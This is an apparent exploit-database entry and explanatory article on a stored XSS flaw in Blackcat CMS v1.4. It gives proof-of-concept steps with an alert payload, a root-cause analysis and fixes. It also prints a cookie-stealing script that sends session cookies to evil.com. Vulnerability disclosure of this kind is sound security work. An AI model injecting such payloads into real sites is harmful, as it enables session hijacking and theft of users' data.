Blackcat Cms v1.4 - Stored XSS

Exploit Author: Mirabbas Ağalarov Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-07-19
Exploit Title: Blackcat Cms v1.4 - Stored XSS
Application: blackcat Cms
Version: v1.4
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://blackcat-cms.org/
Software Link: https://github.com/BlackCatDevelopment/BlackCatCMS
Date of found: 13.07.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps: 

1. login to account
2. go to pages (http://localhost/BlackCatCMS-1.4/upload/backend/pages/modify.php?page_id=1)
3. set as <img src=x onerror=alert(4)>
4. Visit http://localhost/BlackCatCMS-1.4/upload/page/welcome.php?preview=1


Blackcat CMS v1.4 – Stored XSS Vulnerability: A Deep Dive into Exploitation and Mitigation

Recent security research has uncovered a critical stored XSS (Cross-Site Scripting) vulnerability in Blackcat CMS v1.4, a widely used open-source content management system. This flaw allows attackers to inject malicious scripts into the application’s database, which are then executed whenever a user visits a vulnerable page. The vulnerability, identified by Mirabbas Ağalarov on July 13, 2023, underscores the importance of input validation and secure coding practices in PHP-based web applications.

Understanding Stored XSS

Unlike reflected XSS, where malicious scripts are delivered via URL parameters, stored XSS involves persisting malicious code within the application’s backend—typically in a database or file system. Once stored, the script executes automatically when a user accesses the affected content, making it particularly dangerous.

For example, if an attacker injects a script like <img src=x onerror=alert(4)> into a page’s content field, every visitor to that page will trigger the script without any direct interaction. This can lead to session hijacking, data theft, or full site compromise.

Exploitation Steps: A Real-World POC

The vulnerability in Blackcat CMS v1.4 is demonstrated through a straightforward exploit sequence:

  • Login to the admin panel using valid credentials.
  • Navigate to the Pages section via: http://localhost/BlackCatCMS-1.4/upload/backend/pages/modify.php?page_id=1.
  • Modify the page content field and insert the payload: <img src=x onerror=alert(4)>.
  • Save the changes.
  • Visit the public-facing page with preview mode: http://localhost/BlackCatCMS-1.4/upload/page/welcome.php?preview=1.

Upon loading the page, the browser executes the onerror event, triggering the alert(4) JavaScript function. This confirms the stored XSS is active and persistent.

<img src=x onerror=alert(4)>

Explanation: This payload is a classic stored XSS vector. The img tag is rendered by the browser, but since the src attribute is invalid (no valid image URL), the onerror event fires. The alert(4) script executes in the client’s browser, demonstrating that malicious code is being executed from stored content.

Root Cause Analysis

The vulnerability stems from insufficient sanitization of user input in the page editing module. The application fails to escape or filter HTML content before storing it in the database or rendering it in the frontend.

Specifically, the modify.php script accepts user input directly and outputs it without proper encoding. This is a common PHP security pitfall, especially when using functions like echo or print without htmlspecialchars() or similar sanitization.

Example of vulnerable code (hypothetical):

<?php
echo $page_content; // No escaping applied
?>

Explanation: This line directly outputs user-supplied content. If the input includes HTML or JavaScript, it is rendered as-is, enabling XSS execution. The lack of htmlspecialchars() prevents the browser from interpreting the content as safe text.

Security Implications

Stored XSS in a CMS like Blackcat CMS is particularly dangerous because:

  • It can be exploited by any authenticated user with access to the page editor.
  • Malicious scripts can persist indefinitely, affecting all visitors.
  • Attackers can use the payload to steal cookies, redirect users, or inject phishing content.
  • It bypasses traditional client-side defenses like CSP (Content Security Policy) if not properly configured.

For instance, a more advanced payload could be:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Such a script would silently exfiltrate user session cookies to a remote server, enabling session hijacking.

Recommended Fixes and Best Practices

To prevent stored XSS, developers must implement robust input sanitization and output encoding:

  • Use htmlspecialchars() on all user-generated content before rendering it in HTML.
  • Implement a whitelist of allowed HTML tags (e.g., only <strong>, <em>).
  • Use a dedicated HTML sanitizer library like HTML Purifier or DOMPurify.
  • Apply CSP headers to restrict script execution from untrusted sources.
  • Validate input at the server side using regex or structured validation.

Corrected code example:

<?php
echo htmlspecialchars($page_content, ENT_QUOTES, 'UTF-8'); // Safe output
?>

Explanation: This ensures that all special characters (like <, >, ") are converted to their HTML entity equivalents. The browser interprets them as text, not code, preventing XSS execution.

Vendor Response and Patching

As of the publication date, the Blackcat CMS project (hosted at GitHub) has not released a patch. However, users are advised to:

  • Update to a newer version if available.
  • Disable the preview mode feature until the vulnerability is resolved.
  • Apply input filtering via custom middleware or server-level security rules.
  • Monitor logs for suspicious content injections.

Conclusion

The Blackcat CMS v1.4 stored XSS vulnerability serves as a stark reminder that even open-source, well-maintained software can harbor critical flaws. It highlights the need for continuous security audits, proper input validation, and defense-in-depth strategies. Developers and administrators must treat every user input as potentially malicious until proven otherwise.

For organizations using Blackcat CMS, immediate mitigation is essential. Delaying patching increases the risk of exploitation, especially in environments with multiple user roles or public-facing content.